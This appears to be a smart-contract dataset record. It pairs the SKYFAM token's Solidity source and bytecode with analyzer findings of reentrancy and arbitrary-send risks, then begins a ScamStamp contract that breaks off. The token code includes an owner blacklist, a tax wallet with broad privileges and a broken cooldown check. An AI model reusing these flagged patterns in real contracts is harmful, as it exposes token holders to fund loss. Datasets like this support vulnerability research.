*Submitted for verification at Etherscan.io on 2022-03-07
*/
/*
☁️☁️SKYFAM☁️☁️
❕The World’s First Decentralized Mobility as a Service Platform❕
Built on blockchain technology and will be an All-in-one platform that will includes all mobility services such as ride sharing, delivery service, shop OTG, entertainment, etc.
Telegram : https://t.me/skyfam_global
Twitter : https://twitter.com/skyfam_io
Website : https://skyfam.io/
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract skyfam is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
mapping (address => User) private cooldown;
uint private constant _totalSupply = 1e10 * 10**9;
string public constant name = unicode"SKYFAM";
string public constant symbol = unicode"SKYFAM";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _TaxAdd;
address public uniswapV2Pair;
uint public _buyFee = 8;
uint public _sellFee = 8;
uint private _feeRate = 15;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_TaxAdd = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
_isExcludedFromFee[address(0xdead)] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from] && !_isBot[to] && !_isBot[msg.sender]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if (block.timestamp == _launchedAt) _isBot[to] = true;
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once.");
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
uint burnAmount = contractTokenBalance/4;
contractTokenBalance -= burnAmount;
burnToken(burnAmount);
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function burnToken(uint burnAmount) private lockTheSwap{
if(burnAmount > 0){
_transfer(address(this), address(0xdead),burnAmount);
}
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_TaxAdd.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 100000000 * 10**9;
_maxHeldTokens = 100000000 * 10**9;
}
function setMaxTxn(uint maxbuy, uint maxheld) external {
require(_msgSender() == _TaxAdd);
require(maxbuy >= 100000000 * 10**9);
require(maxheld >= 100000000 * 10**9);
_maxBuyAmount = maxbuy;
_maxHeldTokens = maxheld;
}
function manualswap() external {
require(_msgSender() == _TaxAdd);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _TaxAdd);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external {
require(_msgSender() == _TaxAdd);
require(rate > 0, "can't be zero");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _TaxAdd);
require(buy < 8 && sell < 8 && buy < _buyFee && sell < _sellFee);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external {
require(_msgSender() == _TaxAdd);
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
require(_msgSender() == _TaxAdd);
_TaxAdd = payable(newAddress);
emit TaxAddUpdated(_TaxAdd);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _TaxAdd);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
}
|
0x6080604052600436106101f25760003560e01c8063590f897e1161010d578063a3f4782f116100a0578063c9567bf91161006f578063c9567bf914610575578063db92dbb61461058a578063dcb0e0ad1461059f578063dd62ed3e146105bf578063e8078d941461060557600080fd5b8063a3f4782f14610500578063a9059cbb14610520578063b515566a14610540578063c3c8cd801461056057600080fd5b806373f54a11116100dc57806373f54a11146104a25780638da5cb5b146104c257806394b8d8f2146104e057806395d89b411461022757600080fd5b8063590f897e146104425780636fc3eaec1461045857806370a082311461046d578063715018a61461048d57600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac579146103b357806340b9a54b146103ec57806345596e2e1461040257806349bd5a5e1461042257600080fd5b806327f3a72a14610341578063313ce5671461035657806331c2d8471461037d57806332d873d81461039d57600080fd5b8063104ce66d116101c1578063104ce66d146102b857806318160ddd146102f05780631940d0201461030b57806323b872dd1461032157600080fd5b80630492f055146101fe57806306fdde0314610227578063095ea7b3146102665780630b78f9c01461029657600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600d5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b5061025960405180604001604052806006815260200165534b5946414d60d01b81525081565b60405161021e9190611a10565b34801561027257600080fd5b50610286610281366004611a8a565b61061a565b604051901515815260200161021e565b3480156102a257600080fd5b506102b66102b1366004611ab6565b610630565b005b3480156102c457600080fd5b506008546102d8906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b3480156102fc57600080fd5b50678ac7230489e80000610214565b34801561031757600080fd5b50610214600e5481565b34801561032d57600080fd5b5061028661033c366004611ad8565b6106ca565b34801561034d57600080fd5b5061021461071e565b34801561036257600080fd5b5061036b600981565b60405160ff909116815260200161021e565b34801561038957600080fd5b506102b6610398366004611b2f565b61072e565b3480156103a957600080fd5b50610214600f5481565b3480156103bf57600080fd5b506102866103ce366004611bf4565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103f857600080fd5b50610214600a5481565b34801561040e57600080fd5b506102b661041d366004611c11565b6107ba565b34801561042e57600080fd5b506009546102d8906001600160a01b031681565b34801561044e57600080fd5b50610214600b5481565b34801561046457600080fd5b506102b661085b565b34801561047957600080fd5b50610214610488366004611bf4565b610888565b34801561049957600080fd5b506102b66108a3565b3480156104ae57600080fd5b506102b66104bd366004611bf4565b610917565b3480156104ce57600080fd5b506000546001600160a01b03166102d8565b3480156104ec57600080fd5b506010546102869062010000900460ff1681565b34801561050c57600080fd5b506102b661051b366004611ab6565b610985565b34801561052c57600080fd5b5061028661053b366004611a8a565b6109da565b34801561054c57600080fd5b506102b661055b366004611b2f565b6109e7565b34801561056c57600080fd5b506102b6610b00565b34801561058157600080fd5b506102b6610b36565b34801561059657600080fd5b50610214610d2d565b3480156105ab57600080fd5b506102b66105ba366004611c38565b610d45565b3480156105cb57600080fd5b506102146105da366004611c55565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561061157600080fd5b506102b6610db8565b6000610627338484610fbd565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461065057600080fd5b6008821080156106605750600881105b801561066d5750600a5482105b801561067a5750600b5481105b61068357600080fd5b600a829055600b81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60006106d78484846110e1565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610706908490611ca4565b9050610713853383610fbd565b506001949350505050565b600061072930610888565b905090565b6008546001600160a01b0316336001600160a01b03161461074e57600080fd5b60005b81518110156107b65760006005600084848151811061077257610772611cbb565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107ae81611cd1565b915050610751565b5050565b6008546001600160a01b0316336001600160a01b0316146107da57600080fd5b6000811161081f5760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b60448201526064015b60405180910390fd5b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6008546001600160a01b0316336001600160a01b03161461087b57600080fd5b47610885816116ad565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146108cd5760405162461bcd60e51b815260040161081690611cec565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b03161461093757600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d690602001610850565b6008546001600160a01b0316336001600160a01b0316146109a557600080fd5b67016345785d8a00008210156109ba57600080fd5b67016345785d8a00008110156109cf57600080fd5b600d91909155600e55565b60006106273384846110e1565b6000546001600160a01b03163314610a115760405162461bcd60e51b815260040161081690611cec565b60005b81518110156107b65760095482516001600160a01b0390911690839083908110610a4057610a40611cbb565b60200260200101516001600160a01b031614158015610a91575060075482516001600160a01b0390911690839083908110610a7d57610a7d611cbb565b60200260200101516001600160a01b031614155b15610aee57600160056000848481518110610aae57610aae611cbb565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610af881611cd1565b915050610a14565b6008546001600160a01b0316336001600160a01b031614610b2057600080fd5b6000610b2b30610888565b9050610885816116e7565b6000546001600160a01b03163314610b605760405162461bcd60e51b815260040161081690611cec565b60105460ff1615610bad5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610816565b600754610bcd9030906001600160a01b0316678ac7230489e80000610fbd565b6007546001600160a01b031663f305d7194730610be981610888565b600080610bfe6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610c66573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c8b9190611d21565b505060095460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610ce4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d089190611d4f565b506010805460ff1916600117905542600f5567016345785d8a0000600d819055600e55565b600954600090610729906001600160a01b0316610888565b6008546001600160a01b0316336001600160a01b031614610d6557600080fd5b6010805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610850565b6000546001600160a01b03163314610de25760405162461bcd60e51b815260040161081690611cec565b60105460ff1615610e2f5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610816565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610e94573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb89190611d6c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f05573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f299190611d6c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f76573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f9a9190611d6c565b600980546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b03831661101f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610816565b6001600160a01b0382166110805760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610816565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff1615801561112357506001600160a01b03821660009081526005602052604090205460ff16155b801561113f57503360009081526005602052604090205460ff16155b61114857600080fd5b6001600160a01b0383166111ac5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610816565b6001600160a01b03821661120e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610816565b600081116112705760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610816565b600080546001600160a01b0385811691161480159061129d57506000546001600160a01b03848116911614155b1561164e576009546001600160a01b0385811691161480156112cd57506007546001600160a01b03848116911614155b80156112f257506001600160a01b03831660009081526004602052604090205460ff16155b156114c45760105460ff166113495760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610816565b600f54421415611377576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600d548211156113c95760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e00000000006044820152606401610816565b600e546113d584610888565b6113df9084611d89565b111561143d5760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b6064820152608401610816565b6001600160a01b03831660009081526006602052604090206001015460ff166114a5576040805180820182526000808252600160208084018281526001600160a01b03891684526006909152939091209151825591519101805460ff19169115159190911790555b506001600160a01b038216600090815260066020526040902042905560015b601054610100900460ff161580156114de575060105460ff165b80156114f857506009546001600160a01b03858116911614155b1561164e5761150842600f611d89565b6001600160a01b0385166000908152600660205260409020541061157a5760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b6064820152608401610816565b600061158530610888565b905080156116375760105462010000900460ff161561160857600c54600954606491906115ba906001600160a01b0316610888565b6115c49190611da1565b6115ce9190611dc0565b81111561160857600c54600954606491906115f1906001600160a01b0316610888565b6115fb9190611da1565b6116059190611dc0565b90505b6000611615600483611dc0565b90506116218183611ca4565b915061162c8161185b565b611635826116e7565b505b47801561164757611647476116ad565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061169057506001600160a01b03841660009081526004602052604090205460ff165b15611699575060005b6116a6858585848661188b565b5050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107b6573d6000803e3d6000fd5b6010805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061172b5761172b611cbb565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611784573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117a89190611d6c565b816001815181106117bb576117bb611cbb565b6001600160a01b0392831660209182029290920101526007546117e19130911684610fbd565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac9479061181a908590600090869030904290600401611de2565b600060405180830381600087803b15801561183457600080fd5b505af1158015611848573d6000803e3d6000fd5b50506010805461ff001916905550505050565b6010805461ff001916610100179055801561187d5761187d3061dead836110e1565b506010805461ff0019169055565b600061189783836118ad565b90506118a5868686846118d1565b505050505050565b60008083156118ca5782156118c55750600a546118ca565b50600b545b9392505050565b6000806118de84846119ae565b6001600160a01b0388166000908152600260205260409020549193509150611907908590611ca4565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611937908390611d89565b6001600160a01b038616600090815260026020526040902055611959816119e2565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161199e91815260200190565b60405180910390a3505050505050565b6000808060646119be8587611da1565b6119c89190611dc0565b905060006119d68287611ca4565b96919550909350505050565b306000908152600260205260409020546119fd908290611d89565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611a3d57858101830151858201604001528201611a21565b81811115611a4f576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461088557600080fd5b8035611a8581611a65565b919050565b60008060408385031215611a9d57600080fd5b8235611aa881611a65565b946020939093013593505050565b60008060408385031215611ac957600080fd5b50508035926020909101359150565b600080600060608486031215611aed57600080fd5b8335611af881611a65565b92506020840135611b0881611a65565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611b4257600080fd5b823567ffffffffffffffff80821115611b5a57600080fd5b818501915085601f830112611b6e57600080fd5b813581811115611b8057611b80611b19565b8060051b604051601f19603f83011681018181108582111715611ba557611ba5611b19565b604052918252848201925083810185019188831115611bc357600080fd5b938501935b82851015611be857611bd985611a7a565b84529385019392850192611bc8565b98975050505050505050565b600060208284031215611c0657600080fd5b81356118ca81611a65565b600060208284031215611c2357600080fd5b5035919050565b801515811461088557600080fd5b600060208284031215611c4a57600080fd5b81356118ca81611c2a565b60008060408385031215611c6857600080fd5b8235611c7381611a65565b91506020830135611c8381611a65565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611cb657611cb6611c8e565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611ce557611ce5611c8e565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600080600060608486031215611d3657600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611d6157600080fd5b81516118ca81611c2a565b600060208284031215611d7e57600080fd5b81516118ca81611a65565b60008219821115611d9c57611d9c611c8e565b500190565b6000816000190483118215151615611dbb57611dbb611c8e565b500290565b600082611ddd57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e325784516001600160a01b031683529383019391830191600101611e0d565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220021c1762c872e87ddc62cfe2aaccb0917bfbdfe5bc8fcbe66603879fc285bbe364736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,393 |
0x017a5d8d82afaa22bc29d75013d6ff3656e90851
|
pragma solidity ^0.4.11;
contract ScamStampToken {
//The Scam Stamp Token is intended to mark an address as SCAM.
//this token is used by the contract ScamStamp defined bellow
//a false ERC20 token, where transfers can be done only by
//the creator of the token.
string public constant name = "SCAM Stamp Token";
string public constant symbol = "SCAM_STAMP";
uint8 public constant decimals = 0;
uint256 public totalSupply;
// Owner of this contract
address public owner;
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
// Balances for each account
mapping(address => uint256) balances;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
function balanceOf(address _owner) constant returns (uint balance){
return balances[_owner];
}
//Only the owner of the token can transfer.
//tokens are being generated on the fly,
//tokenSupply increases with double the amount that is required to be transfered
//if the amount isn't available to transfer
//newly generated tokens are never burned.
function transfer(address _to, uint256 _amount) onlyOwner returns (bool success){
if(_amount >= 0){
if(balances[msg.sender] >= _amount){
balances[msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
}else{
totalSupply += _amount + _amount;
balances[msg.sender] += _amount + _amount;
balances[msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
}
}
}
function transferBack(address _from, uint256 _amount) onlyOwner returns (bool success){
if(_amount >= 0){
if(balances[_from] >= _amount){
balances[_from] -= _amount;
balances[owner] += _amount;
Transfer(_from, owner, _amount);
return true;
}else{
_amount = balances[_from];
balances[_from] -= _amount;
balances[owner] += _amount;
Transfer(_from, owner, _amount);
return true;
}
}else{
return false;
}
}
function ScamStampToken(){
owner = msg.sender;
totalSupply = 1;
balances[owner] = totalSupply;
}
}
contract ScamStamp{
//the contract is intended as a broker between a scammer address and the scamee
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
modifier hasMinimumAmountToFlag(){
require(msg.value >= pricePerUnit);
_;
}
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
require(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
require(b > 0);
uint c = a / b;
require(a == b * c + a % b);
return c;
}
function sub(uint a, uint b) internal returns (uint) {
require(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
require(c >= a);
return c;
}
address public owner;
//the address of the ScamStampToken created by this contract
address public scamStampTokenAddress;
//the actual ScamStampToken
ScamStampToken theScamStampToken;
//the contract has a brokerage fee applied to all payable function calls
//the fee is 2% of the amount sent.
//the fee is directly sent to the owner of this contract
uint public contractFeePercentage = 2;
//the price for 1 ScamStapToken is 1 finney
uint256 public pricePerUnit = 1 finney;
//for a address to lose the ScamStampTokens it must pay a reliefRatio per token
//for each 1 token that it holds it must pay 10 finney to make the token dissapear from they account
uint256 public reliefRatio = 10;
//how many times an address has been marked as SCAM
mapping (address => uint256) public scamFlags;
//contract statistics.
uint public totalNumberOfScammers = 0;
uint public totalScammedQuantity = 0;
uint public totalRepaidQuantity = 0;
mapping (address => mapping(address => uint256)) flaggedQuantity;
mapping (address => mapping(address => uint256)) flaggedRepaid;
//the address that is flagging an address as scam has an issurance
//when the scammer repays the scammed amount, the insurance will be sent
//to the owner of the contract
mapping (address => mapping(address => uint256)) flaggerInsurance;
mapping (address => mapping(address => uint256)) contractsInsuranceFee;
mapping (address => address[]) flaggedIndex;
//how much wei was the scammer been marked for.
mapping (address => uint256) public totalScammed;
//how much wei did the scammer repaid
mapping (address => uint256) public totalScammedRepaid;
function ScamStamp() {
owner = msg.sender;
scamStampTokenAddress = new ScamStampToken();
theScamStampToken = ScamStampToken(scamStampTokenAddress);
}
event MarkedAsScam(address scammer, address by, uint256 amount);
//markAsSpam: payable function.
//it flags the address as a scam address by sending ScamStampTokens to it.
//the minimum value sent with this function call must be pricePerUnit - set to 1 finney
//the value sent to this function will be held as insurance by this contract.
//it can be withdrawn by the calee anytime before the scammer pays the debt.
function markAsScam(address scammer) payable hasMinimumAmountToFlag{
uint256 numberOfTokens = div(msg.value, pricePerUnit);
updateFlagCount(msg.sender, scammer, numberOfTokens);
uint256 ownersFee = div( mul(msg.value, contractFeePercentage), 100 );//mul(msg.value, div(contractFeePercentage, 100));
uint256 insurance = msg.value - ownersFee;
owner.transfer(ownersFee);
flaggerInsurance[msg.sender][scammer] += insurance;
contractsInsuranceFee[msg.sender][scammer] += ownersFee;
theScamStampToken.transfer(scammer, numberOfTokens);
uint256 q = mul(reliefRatio, mul(msg.value, pricePerUnit));
MarkedAsScam(scammer, msg.sender, q);
}
//once an address is flagged as SCAM it can be forgiven by the flagger
//unless the scammer already started to pay its debt
function forgiveIt(address scammer) {
if(flaggerInsurance[msg.sender][scammer] > 0){
uint256 insurance = flaggerInsurance[msg.sender][scammer];
uint256 hadFee = contractsInsuranceFee[msg.sender][scammer];
uint256 numberOfTokensToForgive = div( insurance + hadFee , pricePerUnit);
contractsInsuranceFee[msg.sender][scammer] = 0;
flaggerInsurance[msg.sender][scammer] = 0;
totalScammed[scammer] -= flaggedQuantity[scammer][msg.sender];
totalScammedQuantity -= flaggedQuantity[scammer][msg.sender];
flaggedQuantity[scammer][msg.sender] = 0;
theScamStampToken.transferBack(scammer, numberOfTokensToForgive);
msg.sender.transfer(insurance);
Forgived(scammer, msg.sender, insurance+hadFee);
}
}
function updateFlagCount(address from, address scammer, uint256 quantity) private{
scamFlags[scammer] += 1;
if(scamFlags[scammer] == 1){
totalNumberOfScammers += 1;
}
uint256 q = mul(reliefRatio, mul(quantity, pricePerUnit));
flaggedQuantity[scammer][from] += q;
flaggedRepaid[scammer][from] = 0;
totalScammed[scammer] += q;
totalScammedQuantity += q;
addAddressToIndex(scammer, from);
}
function addAddressToIndex(address scammer, address theAddressToIndex) private returns(bool success){
bool addressFound = false;
for(uint i = 0; i < flaggedIndex[scammer].length; i++){
if(flaggedIndex[scammer][i] == theAddressToIndex){
addressFound = true;
break;
}
}
if(!addressFound){
flaggedIndex[scammer].push(theAddressToIndex);
}
return true;
}
modifier toBeAScammer(){
